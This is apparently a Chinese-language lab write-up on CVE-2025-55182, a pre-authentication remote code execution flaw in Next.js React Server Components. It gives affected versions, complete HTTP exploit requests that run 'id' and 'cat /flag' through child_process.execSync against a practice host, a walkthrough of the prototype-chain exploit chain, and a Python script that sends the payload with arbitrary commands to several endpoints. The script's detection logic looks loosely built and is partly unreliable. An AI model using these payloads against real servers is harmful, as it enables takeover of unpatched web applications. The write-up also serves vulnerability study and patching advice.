🧨CVE-2025-55182 NextJs无条件RCE漏洞 🧨
🕵️ 漏洞概述
- 严重程度: 严重(CVSS评分:10.0)
- 类型: 预认证远程代码执行漏洞
- 受影响产品: Nextjs
❌ 影响版本
- Next.js v15.0.0-15.0.4
- Next.js v15.1.0-15.1.8
- Next.js v15.2.x-15.5.6
- Next.js v16.0.0-16.0.6
- Next.js v14.3.0-canary.77及以上Canary版本
访问靶机

😊POC
POST /apps HTTP/2
Host: eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 744
Referer: https://eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000/
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

😎EXP
POST /apps HTTP/2
Host: eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 751
Referer: https://eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000/
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

代码审计
关键漏洞代码:reviveModel 函数
漏洞的核心位于 react-server 包中的 ReactFlightReplyServer.js 文件,具体是 reviveModel 函数。
在反序列化过程中,当遇到一个对象时,reviveModel 函数会遍历其所有属性。为了确认一个属性是否真正属于该对象本身(而非从其原型链继承而来),代码使用了 hasOwnProperty 方法进行检查
// packages/react-server/src/ReactFlightReplyServer.js (简化示例)
function reviveModel(...) {
// ...
if (typeof value === 'object' && value !== null) {
for (const key in value) {
// 漏洞关键点:直接在用户可控的对象上调用 hasOwnProperty
if (hasOwnProperty.call(value, key)) {
// ... 递归处理属性值
}
}
}
return value;
}
问题在于:hasOwnProperty 方法本身是 Object.prototype 的一个属性。在JavaScript中,如果一个对象没有自身的 hasOwnProperty 属性,就会沿原型链向上查找。攻击者可以通过精心构造的Payload,控制被检查的对象,并提供一个恶意的 hasOwnProperty 属性,从而完全绕过这个安全检查。
漏洞触发条件与入口
攻击者通过向暴露的服务器函数端点(Server Function Endpoint)发送一个特制的 multipart/form-data 格式的HTTP POST请求来触发漏洞。在默认配置的Next.js应用中,这通常是通过 next-action 头来暴露的。
服务器端的入口函数是 decodeReplyFromBusboy,它负责解析客户端传来的表单数据,并最终调用上述不安全的 reviveModel 逻辑。
漏洞利用链分析
攻击者通过构造一个包含多个“数据块”的恶意请求来实施利用。以下是利用过程的关键步骤分析:
-
构造恶意数据块(Chunk):
-
Chunk 0:通常包含一个引导对象。例如,其 then 属性值可能被设置为 “$1:
__proto__:then”。这个字符串指示解析器去引用Chunk 1,并访问其__proto__对象的 then 属性。__proto__是访问对象原型链的关键。 -
Chunk 1:被设计为一个 “PENDING”状态的块,其值可能包含对Chunk 0的引用(如 “$@0”)。这种循环引用是触发后续回调机制的关键。
-
-
滥用解析与回调机制:
-
当解析器处理Chunk 0中的 “$1:proto:then” 时,它会尝试获取Chunk 1。由于Chunk 1状态为PENDING,解析器会注册一个回调函数(
createModelResolver)到该块的解决队列中。 -
随后,当解析器处理Chunk 1并解析 “
$@0” 引用回Chunk 0时,会触发Chunk 1状态变更,执行之前注册的回调。
-
-
原型链污染与代码执行:
-
在回调执行路径中,攻击者通过先前设置的
__proto__等引用,能够访问并污染被解析对象的原型链。 -
利用链的最终步骤通常是操纵对象的
constructor.constructor属性,使其指向JavaScript的 Function 构造函数。这样,攻击者注入在另一个字段(如_response._prefix)中的字符串代码,就能被当作函数执行,从而实现远程代码执行(RCE)。
-
一个真实利用载荷的核心部分可能包含类似以下结构的字段:
- then: “$1:proto:then”
- status: “resolved_model”
- _response._formData.get: “$1:constructor:constructor”
- _response._prefix: “恶意JavaScript代码字符串”
基于python的验证脚本
#!/usr/bin/env python3
"""
CVE-2025-55182 (React2Shell) 漏洞验证脚本
用途:检测React服务器组件(RSC)中是否存在原型链污染导致的RCE漏洞
注意:仅用于授权测试和教育目的
CopyRight:Htr
"""
import requests
import json
import sys
import time
from urllib.parse import urljoin
class CVE202555182Exploit:
def __init__(self, target_url):
"""
初始化验证器
Args:
target_url: 目标URL(例如:http://localhost:3000)
"""
self.target_url = target_url
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.9',
'Connection': 'keep-alive',
})
def build_malicious_payload(self, command="id"):
"""
构造恶意Flight协议载荷
根据漏洞原理,构造包含原型链污染的序列化数据
这个Payload尝试通过constructor.constructor链执行代码
Args:
command: 要执行的命令(默认:id)
Returns:
dict: 构造的恶意载荷
"""
# 构建恶意Flight序列化结构
# 这里模拟了漏洞利用中的关键数据块
malicious_payload = {
"0": ["$@1", {
"then": "$1:__proto__:then",
"_response": {
"_formData": {
"get": "$1:constructor:constructor"
},
"_prefix": f"console.log(require('child_process').execSync('{command}').toString())"
}
}],
"1": ["$@0", {
"status": "pending",
"__proto__": {
"then": None,
"constructor": {
"constructor": None
}
}
}],
"modelRoot": ["$@0"],
"formData": {
"boundary": "----WebKitFormBoundaryExploit",
"__proto__": {"polluted": True}
}
}
return malicious_payload
def check_vulnerability(self, endpoint="/_next/action"):
"""
检查目标是否易受攻击
Args:
endpoint: 服务器函数端点路径
Returns:
bool: 是否存在漏洞
str: 响应信息
"""
target_endpoint = urljoin(self.target_url, endpoint)
# 构建恶意请求
boundary = "----WebKitFormBoundaryExploit"
payload = self.build_malicious_payload("echo 'VULNERABLE'")
# 构造multipart/form-data
body_parts = []
# 添加恶意JSON部分
body_parts.append(f'--{boundary}')
body_parts.append('Content-Disposition: form-data; name="0"')
body_parts.append('Content-Type: application/json')
body_parts.append('')
body_parts.append(json.dumps(payload["0"]))
body_parts.append(f'--{boundary}')
body_parts.append('Content-Disposition: form-data; name="1"')
body_parts.append('Content-Type: application/json')
body_parts.append('')
body_parts.append(json.dumps(payload["1"]))
body_parts.append(f'--{boundary}')
body_parts.append('Content-Disposition: form-data; name="modelRoot"')
body_parts.append('Content-Type: application/json')
body_parts.append('')
body_parts.append(json.dumps(payload["modelRoot"]))
body_parts.append(f'--{boundary}--')
body_parts.append('')
body = '\r\n'.join(body_parts)
headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}',
'next-action': '1', # 触发服务器函数
'Accept': 'text/x-component',
}
try:
print(f"[*] 发送恶意请求到: {target_endpoint}")
print(f"[*] 使用的边界符: {boundary}")
print(f"[*] Payload结构: {json.dumps(payload, indent=2)[:500]}...")
response = self.session.post(
target_endpoint,
data=body,
headers=headers,
timeout=30,
verify=False # 仅用于测试环境
)
print(f"[*] 响应状态码: {response.status_code}")
print(f"[*] 响应头: {dict(response.headers)}")
print(f"[*] 响应体(前500字符): {response.text[:500]}")
# 检测漏洞的迹象
vulnerability_indicators = [
response.status_code == 500 and "proto" in response.text.lower(),
"constructor" in response.text,
"__proto__" in response.text,
response.status_code == 200 and "execSync" in response.text,
"child_process" in response.text,
]
if any(vulnerability_indicators):
return True, f"目标可能易受攻击!响应包含漏洞迹象。"
elif response.status_code in [400, 500]:
# 服务器错误可能是由恶意载荷引起的
return True, f"服务器返回错误状态码 {response.status_code},可能受到载荷影响。"
else:
return False, f"未发现明显的漏洞迹象。"
except requests.exceptions.RequestException as e:
return False, f"请求失败: {str(e)}"
except Exception as e:
return False, f"发生错误: {str(e)}"
def test_command_injection(self, command="whoami", endpoint="/_next/action"):
"""
测试命令注入(谨慎使用)
Args:
command: 要测试的命令
endpoint: 服务器函数端点
Returns:
bool: 是否成功执行
str: 命令输出或错误信息
"""
print(f"[!] 警告:正在尝试命令执行测试: {command}")
print(f"[!] 这可能会对目标系统造成影响,请确保已获得授权")
target_endpoint = urljoin(self.target_url, endpoint)
payload = self.build_malicious_payload(command)
# 这里简化为发送请求
# 实际利用需要更精确的Flight协议编码
try:
response = self.session.post(
target_endpoint,
json=payload, # 简化为JSON请求
headers={'next-action': '1'},
timeout=30,
verify=False
)
if response.status_code == 200:
return True, f"请求成功,可能需要进一步分析响应"
else:
return False, f"请求失败,状态码: {response.status_code}"
except Exception as e:
return False, f"命令注入测试失败: {str(e)}"
def fingerprint_react_version(self):
"""
指纹识别React版本
Returns:
dict: 版本信息
"""
endpoints_to_check = [
"/_next/static/chunks/react-server-dom-webpack-client.js",
"/_next/static/development/_ssgManifest.js",
"/_next/static/chunks/main.js",
]
version_indicators = {
"19.0.0": ["react@19.0.0", "React 19"],
"19.1.0": ["react@19.1.0", "useActionState"],
"19.2.0": ["react@19.2.0", "useOptimistic"],
}
detected_versions = []
for endpoint in endpoints_to_check:
try:
url = urljoin(self.target_url, endpoint)
response = self.session.get(url, timeout=10, verify=False)
if response.status_code == 200:
content = response.text
for version, indicators in version_indicators.items():
for indicator in indicators:
if indicator in content:
detected_versions.append(version)
print(f"[+] 检测到可能的React版本: {version} 在 {endpoint}")
break
except:
continue
return {"detected_versions": list(set(detected_versions))}
def main():
"""主函数"""
print("=" * 60)
print("CVE-2025-55182 (React2Shell) 漏洞验证脚本")
print("用途:检测React服务器组件中的RCE漏洞")
print("警告:仅用于授权测试和教育目的")
print("=" * 60)
if len(sys.argv) < 2:
print(f"使用方法: {sys.argv[0]} <目标URL>")
print(f"示例: {sys.argv[0]} http://localhost:3000")
sys.exit(1)
target_url = sys.argv[1]
exploit = CVE202555182Exploit(target_url)
# 1. 指纹识别
print("\n[阶段1] React版本指纹识别")
fingerprint_result = exploit.fingerprint_react_version()
if fingerprint_result["detected_versions"]:
print(f"[!] 检测到可能受影响的版本: {fingerprint_result['detected_versions']}")
print("[!] 这些版本可能易受CVE-2025-55182攻击")
else:
print("[*] 未检测到明确的React版本信息")
# 2. 漏洞检查
print("\n[阶段2] 漏洞存在性检查")
# 尝试多个可能的端点
possible_endpoints = [
"/_next/action",
"/api/_action",
"/action",
"/rsc",
"/_rsc"
]
vulnerable = False
for endpoint in possible_endpoints:
print(f"\n[*] 测试端点: {endpoint}")
is_vuln, message = exploit.check_vulnerability(endpoint)
if is_vuln:
print(f"[!] 发现漏洞迹象: {message}")
vulnerable = True
break
else:
print(f"[*] 未发现漏洞: {message}")
# 3. 输出报告
print("\n" + "=" * 60)
print("漏洞验证报告")
print("=" * 60)
if vulnerable:
print("结果: ❌ 目标可能易受CVE-2025-55182攻击")
print("\n建议立即采取的措施:")
print("1. 升级React到安全版本(19.0.1/19.1.2/19.2.1或更高)")
print("2. 升级Next.js到16.0.7或更高版本")
print("3. 实施WAF规则拦截恶意RSC请求")
print("4. 监控服务器日志中的异常活动")
else:
print("结果: ✅ 未发现明显的漏洞迹象")
print("\n注意:此检查不能保证100%准确")
print("建议仍升级到最新安全版本")
if __name__ == "__main__":
main()

2236

被折叠的 条评论
为什么被折叠?



